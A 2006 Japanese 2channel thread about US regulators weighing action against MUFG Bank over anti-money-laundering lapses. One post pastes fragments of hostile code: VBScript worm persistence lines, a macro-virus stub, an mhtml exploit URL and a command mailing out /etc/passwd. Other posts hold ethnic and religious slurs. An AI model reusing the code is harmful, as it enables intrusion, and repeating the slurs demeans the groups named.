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【社会】米金融当局、三菱東京UFJ銀処分へ マネーロンダリングの監視不備で

1 :エリー君φ ★:2006/09/23(土) 14:50:43 ID:???0
米、三菱UFJ銀処分へ 資金洗浄の監視不備で

 米金融当局が三菱東京UFJ銀行の米国拠点に対し、資金洗浄(マネーロンダリング)への
 監視態勢が不十分だとして、改善を求める行政処分の発動を検討していることが23日、分
 かった。

 三菱UFJは米国で証券業務に本格参入するため、米国に金融持ち株会社を設立する準備
 をしているが、処分されれば計画が遅れるなどの影響が出そうだ。
 今回の処分検討は、米当局がテロ資金締め出しへ姿勢を一段と強めていることを示してお
 り、他の邦銀も態勢整備を求められることにもなりそうだ。

 関係者によると、米当局からニューヨークの三菱東京UFJ銀行の支店と現地法人がコンピ
 ューターシステムなどを含め資金洗浄を防ぐ態勢に不備があると指摘されたもようだ。米当
 局の担当者が来日し、同行本部から詳しい事情を聴いた上で、態勢の見直しを求める見通
 しだ。

 資金洗浄への監視では、前身の旧三菱東京フィナンシャル・グループの米関連会社が200
 4年に、米当局から改善命令を受けている。その際、米当局は行政処分を公表しなかったが、
 今回の検査で再び監視態勢の不備が見つかったことで異例の公表に踏み切って強く改善を
 求める可能性もある。

http://flash24.kyodo.co.jp/?MID=RANDOM&PG=STORY&NGID=econ&NWID=2006092301000148

2 :名無しさん@6周年:2006/09/23(土) 14:51:47 ID:jxr9ar/p0
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ

3 :名無しさん@6周年:2006/09/23(土) 14:52:10 ID:AdGAo2hf0
改善命令ならいくらでもいいけど訴訟は勘弁な

4 :名無しさん@6周年:2006/09/23(土) 14:56:31 ID:85Bh7IJz0
もうね〜
制裁対象にして下さい

5 :名無しさん@6周年:2006/09/23(土) 14:58:57 ID:inAzApMc0
>2004年に、米当局から改善命令を受けている。

二度目かよ

6 :名無しさん@6周年:2006/09/23(土) 15:00:07 ID:OR8VsbXT0
邪魔されとるな

7 :名無しさん@6周年:2006/09/23(土) 15:00:57 ID:uQa/NMMP0
これ、層化が絡んでんじゃね?

8 :名無しさん@6周年:2006/09/23(土) 15:01:49 ID:OphDCyTXO
日本の金融庁もシティとか取り締まってるから
報復だろ。

9 :名無しさん@6周年:2006/09/23(土) 15:02:09 ID:8R1qxhWb0
三菱アコムUFJ銀行。

10 :名無しさん@6周年:2006/09/23(土) 15:03:11 ID:2Aa85KCI0
速攻で良スレ認定されてんじゃんw

11 :名無しさん@6周年:2006/09/23(土) 15:05:10 ID:UylceSOgO
パチンコとの取引だなwww半島の資金洗浄の親玉だからな

12 :名無しさん@6周年:2006/09/23(土) 15:05:26 ID:8R1qxhWb0
平成16年度大手銀行の納税総額は、49億円。
貸金業界への貸出額総計は21兆3000億円(日銀統計)

三菱UFJはアコムの株の12%、三井住友はプロミスの16%の株を保有し
役員を送り込んでいる。

05/18 参院 行政改革に関する特別委員会
http://www.webtv.sangiin.go.jp/generator/meta_generator_wmv.php?swd=493032&on=1157233712&si=d13b147ea96fe45dd4d81cf5091840eb2&ch=y&mode=LIBRARY&pars=0.7708109976619903


13 :名無しさん@6周年:2006/09/23(土) 15:06:06 ID:x2rw2son0
こことみずほはもうダメなんじゃないか

14 :名無しさん@6周年:2006/09/23(土) 15:19:14 ID:noyeDFue0
【同和利権飛鳥会事件】 三菱東京UFJ銀行、暴力団組事務所を担保に融資の異常性
http://megalodon.jp/?url=http://osaka.yomiuri.co.jp/news/20060713p102.htm&date=20060713201125

◆飛鳥会・小西被告、1億円以上を組長へ転貸

三菱東京UFJ銀行が旧三和銀行時代の1995年、酒梅組系暴力団の組事務所ビルを担保として、
財団法人「飛鳥会」理事長・小西邦彦被告(72)(詐欺罪などで起訴)に、
1億円以上を融資していたことが、わかった。

小西被告から現在の酒梅組長側にまた貸しされた「転貸融資」で、
ほとんど返済されず、不良債権化した。

暴力団排除を進める銀行業界で、組事務所を担保にした融資は極めて異例のケース。
同銀行の異常な融資実態が、また一つ明らかになった。

15 :名無しさん@6周年:2006/09/23(土) 15:21:41 ID:noyeDFue0
【同和利権飛鳥会事件】 三菱東京UFJ銀行、暴力団組事務所を担保に融資の異常性
http://megalodon.jp/?url=http://osaka.yomiuri.co.jp/news/20060713p102.htm&date=20060713201125

◆飛鳥会・小西被告、1億円以上を組長へ転貸

三菱東京UFJ銀行が旧三和銀行時代の1995年、酒梅組系暴力団の組事務所ビルを担保として、
財団法人「飛鳥会」理事長・小西邦彦被告(72)(詐欺罪などで起訴)に、
1億円以上を融資していたことが、わかった。

小西被告から現在の酒梅組長側にまた貸しされた「転貸融資」で、
ほとんど返済されず、不良債権化した。

暴力団排除を進める銀行業界で、組事務所を担保にした融資は極めて異例のケース。
同銀行の異常な融資実態が、また一つ明らかになった。

16 :名無しさん@6周年:2006/09/23(土) 15:22:02 ID:aleRlzg10
>>13
なんで瑞穂?

17 :名無しさん@6周年:2006/09/23(土) 15:22:21 ID:MW3Dan5D0
日本の銀行業界の発展を阻害している大銀行だな。
ATMを無料化し、窓口を午後6時まで、又は土日の午前も開けよ。

18 :名無しさん@6周年:2006/09/23(土) 15:23:34 ID:Qq/Xj72D0
ウイルス貼ってる奴は何が目的?

19 :名無しさん@6周年:2006/09/23(土) 18:11:39 ID:edozq9DD0
アメ公GJ

20 :名無しさん@6周年:2006/09/23(土) 18:15:03 ID:kZ/ArAzG0
マネーロンダの監視って何やるんだろう

21 :名無しさん@6周年:2006/09/23(土) 18:15:38 ID:X2/RiIrFO
なぜ瑞穂って三井住友関係しゃの願望でしょ。

22 :名無しさん@6周年:2006/09/23(土) 18:20:46 ID:X2/RiIrFO
メールオーダーやネットで各種手続きが出来る時代に人件費がかかる営業時間の延長や休日に窓口開ける必要なんかあるの??

23 :名無しさん@6周年:2006/09/23(土) 20:09:30 ID:97Q5FX2I0
三菱UFJアコム銀行。

24 :名無しさん@6周年:2006/09/23(土) 21:28:21 ID:u8FoAD170
<資金洗浄>米当局「監視」不備指摘 三菱東京UFJ銀行に
http://headlines.yahoo.co.jp/hl?a=20060923-00000037-mai-bus_all

三菱東京UFJ銀行が、米国でのマネーロンダリング(資金洗浄)の監視態勢の不備を米金融当局から
指摘されていることが23日、分かった。同行は2年前にも同様の指摘を受けて米当局から業務改善命令を受けており、
2度目の行政処分が出るとみられる。

米当局の指摘を受けているのは、ニューヨークの同行支店や、現地法人。米当局は、同行の現在の
コンピューターシステムなどの態勢では、テロや核兵器開発に携わる不正組織の資金浄化を監視するのは難しいと判断し、
2年前に続いて行政処分を検討している模様だ。

9月16日の先進7カ国財務相・中央銀行総裁会議(G7)では、米国の提案で、金融機関が資金洗浄に
関与することを強くけん制し、国際機関による監視を強化する方針が声明文に盛り込まれるなど、
米国は厳しい監視態勢を求めている。

三菱東京UFJ銀行は、米国での証券業務の強化のため、米金融持ち株会社の認可取得を目指しているが、
処分によって影響を受ける可能性もありそうだ。


25 :名無しさん@6周年:2006/09/23(土) 22:34:24 ID:gyt8d8nn0
これで決まった! FHC認可は
農中>みずほ>>>MU>>>|壁|>>>SM

26 :名無しさん@6周年:2006/09/24(日) 00:13:53 ID:B4rXTaX10
三井住友プロミス銀行

27 :名無しさん@6周年:2006/09/24(日) 03:03:31 ID:o4oah3530
B893個人に貸し付けた数十億円が焦げ付く

何故か、数年間も放置

B893が脱税等で逮捕される

放置していたのに、突如返済を求め大阪地裁に提訴

やってる事がおかしいだろ、三和銀行。
B893談:三和銀行とは色々ある。

28 :名無しさん@6周年:2006/09/24(日) 07:13:11 ID:WIJHYdAf0
>>7
正解。おめ。

29 :名無しさん@6周年:2006/09/24(日) 11:18:07 ID:TI/1WrPR0
test

30 :名無しさん@6周年:2006/09/24(日) 14:33:24 ID:B4rXTaX10
MUFGとアコムの出資関係
ttp://www.yomiuri.co.jp/atmoney/yw/yw06040901.htm

三菱UGJファイナンシャルグループ → 13% → アコム
                               ↓
三菱UFJ信託銀行→ 15%→DCキャッシュワン←54.73% 

31 :名無しさん@6周年:2006/09/24(日) 15:54:23 ID:Dp5PNv980
三和と住友は癌だな。
どっちも大阪だよwww

32 :名無しさん@6周年:2006/09/24(日) 16:06:05 ID:E4hdI6eM0
三菱束京って束京スター銀に手数料のことで圧力かけたくせに、
ローソンに置いてあるATM(『三菱東京UFJ銀行 エーティーエム支店』なんて書いてある)で、
自行カードを持ってる利用者から、平日昼間でも手数料盗るのがデフォになってる醜悪ウイルス銀行。
日本の金融庁はなにやってんだ。

33 :名無しさん@6周年:2006/09/24(日) 18:44:04 ID:8JiwUYla0
ttp://renpou.com/getnews/indexr.html
ttp://renpou.com/getnews/indexr.html
ttp://renpou.com/getnews/indexr.html

34 :名無しさん@6周年:2006/09/25(月) 01:44:50 ID:PZ5HvRdf0
テロ支援銀行


35 :名無しさん@6周年:2006/09/25(月) 02:02:35 ID:cv6JfgJt0
>>2
コイツ、在日韓国朝鮮人か草加だろ?

36 :名無しさん@6周年:2006/09/25(月) 14:53:27 ID:Pv3IinFJ0
消費者金融の問題点を整理してみよう。

0) 消費者金融の本体は銀行であり生保であり米国ファンドである。市場規模約46兆円。

1) 最高裁は昨年12/15、本年01/13、01/19、03/17と、現行システムにおける
  利息制限法超過利息は違法であり無効であるという判決を相次いで出した。
  
  金融庁:貸金業に関する主な最高裁判決(PDF:132K):
  http://www.fsa.go.jp/singi/singi_kasikin/siryou/20060407/04.pdf

2) 新聞、テレビ、雑誌などありとあらゆるメディアに莫大な広告費を費やし、
  最高裁判決を報道(NHK・新聞は除く)させず、批判、言論、議論を封じ込めてきた。
  (広告を引き上げるぞなどジャーナリストへの脅し・恫喝)
  利息制限法超過利息は訴訟などによって返ってくる事実をほとんど報道しない。
  過払い請求
  http://wiki.livedoor.jp/kabaraiseikyu/d/FrontPage

3) 債務者に事実上無断で掛けられた生命保険金を4万件も受け取っており、
  そのうち自殺が3600件、死因不明が2万件。

4) 金融庁が1年半かけて議論してきた結果とは180度違ったものが自民党に提出された。

5) 利用者数、多重債務者の数が各種報道によってバラバラで実態が見えてこない。

  1500万人が利用し、返済遅延者260万人説(クレサラ問題専門弁護士日テレ)
  2200万人利用、多重債務者250万人(各種新聞記事)
  3000万人説(金融庁によると、消費者金融の利用者は約3000万人、
          これが本当なら労働者の2人に一人)
  http://www.bitway.ne.jp/bunshun/ronten/ocn/sample/keyword/060914.html

37 :名無しさん@6周年:2006/09/25(月) 22:02:37 ID:im8CVOPh0
サラ銀マネーロンダリング例:speech.comet.mepage.jp/note06/saragin.htm

保証契約とは、保証会社が顧客を審査し、顧客の返済が遅れた場合は肩代わりする。
銀行は貸し倒れリスクを負わずに融資を拡大できる。
利用者は実質、保証会社への債務に切り替わる。取り立ては銀行を離れ、業者が対応。

・アコムが保証会社になっている銀行系ローン
 スルガ銀行  DirectOne
 北海道銀行 保証委託約款
 十六銀行  Q−Lone

・三洋信販が保証会社になっている銀行系ローン
 関西銀行  ビンゴローン
 鹿児島銀行 かぎんスピードローン

・ジャックスが保証会社になっている銀行系ローン
 北洋銀行 保証委託約款
 三重銀行 三重銀行リフォーム

・オリックスクレジトが保証会社になっている銀行系ローン
 福岡銀行  ふくぎん、かりかえ君

・プロミスが保証会社になっている銀行系ローン
 北越銀行 ホクギンカードローン『べんリーナ365』保証委託約款

三菱東京FG、アコムを傘下に――1000億円超の増資引き受け
ttp://www.nikkei.co.jp/sp1/nt32/20040317NN002Y95017032004.html
モビットにはUFJ銀が50%、プロミスが45%、信販大手のアプラスが5%出資
ttp://www.nikkei.co.jp/sp1/nt32/20040707AS1D0700A07072004.html
三井住友銀行もプロミスと参入を目指す
ttp://www.nikkei.co.jp/news/main/20060222AT1F2101C21022006.html

38 :名無しさん@6周年:2006/09/25(月) 22:04:10 ID:Igctx22I0
層化の金庫番=三菱銀行
同和の金庫番=三和銀行

両方が合体したらもうね(ry

39 :名無しさん@6周年:2006/09/25(月) 22:14:28 ID:PlkNn5700
相変わらず図体だけでかくて無能な三菱東京UFJ

40 :名無しさん@6周年:2006/09/26(火) 01:01:47 ID:KAdHx0sA0
何度でも言おう。
悪質商法は、サラ金に限ったことではなく、金融業界全体に波及している。
クレジット・信販・リース会社の代表的な悪質事例を列挙する。

これらは規制緩和による我が国の国際競争力強化や自由主義経済とは何の関係もない悪質詐欺犯罪であり、
弱者・障害者・高齢者から資産を収奪している下劣極まりない金融テロ行為であり、断じて許されるものではない。

クレジット契約:年金月収8万円 → 返済10万円 宮城の障害者男性、破産前に死亡
http://megalodon.jp/?url=http://www.mainichi-msn.co.jp/shakai/jiken/news/20060403dde041040028000c.html&date=20060403011715
◇障害年金月収8万円、返済10万円−契約次々31件、宮城の53歳

縦並び社会:広がる多重債務 金利過払い…国保払えず 診療ためらい死亡
http://www.mainichi-msn.co.jp/shakai/wadai/tatenarabi/archive/news/20060901ddm041040078000c.html
驚異的な過剰貸付の事例2件:970万、1800万円もの莫大な過払い。
http://www.youtube.com/watch?v=ClKNdrHu0ok

消費者金融の闇を追う。債務者自殺 「ママ さよなら いろいろあったね なかなか死ねん パパ」
http://img311.imageshack.us/img311/5438/sarakinjisatu9es.jpg

<常軌を逸脱した過剰与信 クレジット被害 >
http://www1.ttcn.ne.jp/~creditkajoyoshin/index.htm

・大阪で、50代の夫婦とその娘に対し、総額約4.038万円の着物のクレジット契約をさせた事例
・70代のアルツハイマーのある女性(収入は、月15万円の年金のみ)に49件、1214万円の着物を販売

【着物の次々販売などとの提携】 ライフカード=アイフル
http://www.i-less.net/paper/060908.html
悪徳電話リースのウソを暴く http://www.youtube.com/watch?v=4cUZeosKvh4
電話リースで700万円 http://mbs.jp/voice/special/200603/27_2325.shtml
電話機リース契約でトラブル急増 個人商店主標的
http://megalodon.jp/?url=http://www.asahi.com/kansai/news/OSK200606140020.html&date=20060704185259
http://megalodon.jp/?url=http://www.asahi.com/national/update/0725/TKY200607240652.html&date=20060725065421

41 :名無しさん@6周年:2006/09/26(火) 13:10:00 ID:ssV3Igfn0
週刊ポスト 10月6日号  借金苦自殺「弱者」を黙殺した奴らの名前
http://www.weeklypost.com/061006jp/index.html

反対勢力について、後藤田氏は明言を避けたが
複数の自民党議員を取材した結果、中心的存在として浮かび上がってきたのは

保岡興治
大田誠一
西川公也
塩崎恭久

の4名の自民党議員である。

週刊ダイヤモンド 9月30日号 (9月25日発売)
■特別レポート 多重債務者を食い物にする債務整理ビジネスの悪質な手口
http://dw.diamond.ne.jp/number/060930/index.html
消費者金融貸出残高、破産件数、自殺、失業者数比較(1990年と2005年)
http://i10.tinypic.com/2dmip11.jpg

42 :名無しさん@6周年:2006/09/26(火) 18:58:16 ID:7kKWPnhP0
「東京三菱UFJ銀行は違法なことに利用されています」

って言ってるようなもんだからなあw


43 :名無しさん@6周年:2006/09/26(火) 23:45:47 ID:i+dbqUuXO
>>42
そだね

44 :名無しさん@6周年:2006/09/27(水) 02:15:36 ID:O4YRK0+f0
伸びないな。

45 :名無しさん@6周年:2006/09/27(水) 06:43:12 ID:f6xMQpDa0
暴力団・同和団体への融資なら 三菱東京UFJ銀行 にお任せください。

旧三和系、組関連企業から担保 小西容疑者の転貸認識か
http://www.asahi.com/kansai/news/OSK200605140006.html
飛鳥会事件 三菱東京UFJ銀行銀行と密着 暴力団に転貸し 小西容疑者に融資・補助金計97億円
http://osaka.yomiuri.co.jp/news/20060513p202.htm
同和利権 飛鳥会 三菱東京UFJ銀行は何と30億円も貸し込んで回収不能になっている。
http://www.diary.ne.jp/logdisp.cgi?user=31174&log=20060509
同和利権 飛鳥会 小西容疑者、山口組直系組長側に年間200万円超支払い
http://www.asahi.com/kansai/news/OSK200605120052.html
同和利権 飛鳥会 三菱東京UFJ銀行銀行と密着 暴力団に転貸し 小西容疑者に融資・補助金計97億円
http://osaka.yomiuri.co.jp/news/20060513p202.htm
同和利権 飛鳥会 「暴力団との関係」認識 大阪市、優遇ぶり放置
http://headlines.yahoo.co.jp/hl?a=20060510-00000018-kyodo-soci
同和利権 飛鳥会 三菱東京UFJ銀行次長 横領ほう助で逮捕
http://www.tokyo-np.co.jp/00/sya/20060509/mng_____sya_____004.shtml

46 :名無しさん@6周年:2006/09/27(水) 08:42:27 ID:UEkhSiTsO
>>38
最凶だね。
アメリカの意図は見えたな、三和は三菱とケコーンしないで国有化の方が良かったね。


47 :名無しさん@6周年:2006/09/27(水) 19:26:06 ID:/P2S2w4K0
USJ!USJ!USJ!UFJ!

USJ!USJ!USJ!UFJ!

USJ!USJ!USJ!UFJ!


48 :名無しさん@6周年:2006/09/28(木) 04:33:40 ID:EURve5ta0
http://Miniurl.org/12U
では何故この「グレーゾーン撤廃、上限金利引下げ」について
金融庁は「サラ金」の立場に立った反応を示しているのでしょう?
答えは簡単です。「銀行」の意向を受けているだけです。

この「融資リスクの下流業者への付け替え」システムの崩壊を
銀行・大手サラ金は心配しているわけです。
実は「借入件数」規制など大手は最初から関係ないのです。
何を恐れているのか?
「借入件数規制」がかかって問題になるのは
「信用情報システム」の徹底なのです。

つまり件数規制、総額規制がかかるということは
それを「確認するシステム」つまり信用情報機関への
全登録が原則になります。

ところが実はサラ金の信用情報機関である
「全国信用情報センター連合会」(全情連)へ加盟している
サラ金業者はなんと貸金業登録業者(約18000)のうちの
約7分の一(約2500社)しかないのです。
つまり実質正規登録業者のうちの約七分の六は

いうなれば「半闇金状態」なのです。

つまり業法が改正されると業界のヒエラルキーの中間層がまず
直撃されます。そうなると「銀行」が組み立てたビジネスモデルは
崩壊します。

つまり儲かる勝ち組業者のリスクを下流業者に負わす・・・システム。
今、サラ金側の政界ロビー活動は熾烈な世界です。
どころではなく凄い数の議員が抵抗しています。

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